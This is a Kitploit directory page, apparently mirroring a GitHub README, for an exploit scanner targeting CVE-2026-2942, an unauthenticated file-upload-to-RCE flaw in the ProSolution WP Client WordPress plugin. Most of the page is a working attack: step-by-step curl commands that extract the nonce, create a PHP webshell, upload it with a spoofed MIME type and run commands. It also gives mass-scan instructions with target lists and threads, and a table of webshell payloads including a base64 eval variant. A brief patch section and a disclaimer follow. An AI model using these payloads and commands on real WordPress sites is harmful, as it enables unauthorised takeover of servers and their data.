Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-2942 — Automatisierter Scanner für nicht authentifizierte willkürliche Dateiuploads und Remote-Code-Ausführung in ProSolution WP Client (CVE-2026-2942). Unterstützt Multithread-Scanning, MIME-Spoofing, Shell-Überprüfung und Proxy-Unterstützung für Penetrationstests. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-2942
SchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubxxconi/cve-2026-2942

CVE-2026-2942

Automatisierter Scanner für nicht authentifizierte willkürliche Dateiuploads und Remote-Code-Ausführung in ProSolution WP Client (CVE-2026-2942). Unterstützt Multithread-Scanning, MIME-Spoofing, Shell-Überprüfung und Proxy-Unterstützung für Penetrationstests.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ProSolution WP Client — Unauthenticated File Upload & RCE Scanner

Plugin: prosolution-wp-client
Betroffene Version: <= 1.9.9
Anfälligkeitstyp: Unauthenticated Arbitrary File Upload → Remote Code Execution
Risikostufe: 🔴 Kritisch (CVSS 9.8)
Anforderung: Öffentliche Seite mit [prosolfrontend]-Shortcode


📌 Über die Schwachstelle

Die AJAX-Aktion proSol_fileUploadProcess des ProSolution WP Client Plugins überprüft den MIME-Typ der hochgeladenen Dateien, validiert jedoch nicht die Dateierweiterung.
Ein Angreifer kann eine Datei mit der Erweiterung .php mit dem MIME-Typ image/jpeg senden und so ohne Authentifizierung eine Webshell auf dem Server ablegen.

Angriffskette

root@kitploit:~
[prosolfrontend] shortcode sayfası
        │
        ▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → Unauthenticated RCE ✓

🧪 Proof of Concept (Manuell)

⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.

Voraussetzungen

  • WordPress installiert und das Plugin prosolution-wp-client aktiv (Version <= 1.9.9)
  • Eine veröffentlichte WordPress-Seite, die den Shortcode [prosolfrontend] enthält

Schritt 1 — Nonce abrufen

Besuchen Sie eine öffentliche Seite mit dem Shortcode [prosolfrontend] und extrahieren Sie den Wert von prosolObj.nonce aus dem Quellcode:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

Im Quellcode zu suchende Struktur:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Schritt 2 — PHP-Webshell erstellen

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Schritt 3 — Hochladen mittels MIME-Spoofing

Senden Sie die .php-Datei mit dem Content-Type image/jpeg:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Erwartete Antwort:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" und "rename_status": true → Die .php-Datei wurde erfolgreich gespeichert.


Schritt 4 — RCE auslösen

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # Adım 3'teki newfilename

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Erwartete Ausgabe:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ Unauthenticated RCE achieved.


🛠️ Automatischer Scanner-Setup

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Verwendung

Einzelnes Ziel

root@kitploit:~
python prosol_upload.py -u http://hedef.com

Mit Shell-Validierung

root@kitploit:~
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

Massen-Scan

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

Mit Proxy (Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

Benutzerdefinierter Shell-Typ

root@kitploit:~
python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ Parameter


💀 Shell-Typen


📂 Shell-Upload-Pfad

root@kitploit:~
WordPress Kök/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell burada

📊 Scanner-Ausgabestatus


🖥️ Beispielhafte Scanner-Ausgabe

root@kitploit:~
[*] 3 hedef | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  Yeni Ad   : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────

🛡️ Verteidigung / Patch

uploads/-Verzeichnis .htaccess:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ Rechtlicher Hinweis

Dieses Tool und PoC sind nur für die Verwendung auf autorisierten Systemen, zu Bildungszwecken und im Rahmen von Penetrationstests bestimmt.
Die Nutzung auf nicht autorisierten Systemen stellt eine Straftat gemäß den Artikeln 243-245 des türkischen Strafgesetzbuches und internationaler Cyberkriminalitätsgesetze dar.
Der Entwickler übernimmt keine rechtliche Verantwortung für Missbrauch des Tools.


📄 Lizenz

MIT-Lizenz — Nur für Bildungs- und Forschungszwecke.

Tool herunterladen
ParameterKurzBeschreibungStandard
--url-uEinzelne Ziel-URL—
--list-lZiel-Listendatei—
--threads-tAnzahl der Threads10
--output-oAusgabedateiuploaded.txt
--shell-name—Hochzuladender Dateinameshell.php
--shell-type—Shell-Typsystem
--verify—RCE-Test nach UploadFalse
--verify-cmd—Validierungsbefehlid
--proxy—Proxy-URL—
--timeout—Anfrage-Timeout (Sek.)10
TypPayloadBeschreibung
system<?php system($_GET["cmd"]); ?>Einfacher Systembefehl
passthru<?php passthru($_GET["cmd"]); ?>Rohausgabe
exec<?php echo exec($_GET["cmd"]); ?>Stille Ausführung
assert<?php assert($_POST["cmd"]); ?>eval per POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64-Verschleierung
fullshell_exec + system + exec fallbackVollumfassende Shell
StatusBeschreibung
★ UPLOADEDShell erfolgreich hochgeladen
✓ RCE OKShell validiert, Befehl ausgeführt
- BLOCKEDServer hat PHP-Erweiterung blockiert
~ TIMEOUTVerbindungs-Timeout
~ CONN_ERRVerbindungsfehler
! HTTP_ERRHTTP-Fehlercode
MaßnahmeUmsetzung
PHP-Ausführung blockieren.htaccess zum uploads/-Verzeichnis hinzufügen
Plugin-UpdateAuf Version > 1.9.9 aktualisieren oder entfernen
Erweiterungs-WhitelistServerseitig nur erlaubte Erweiterungen zulassen
MIME-ValidierungEchte Inhaltsprüfung mit finfo_file()
WAF-Regel.php-Upload-Anfragen blockieren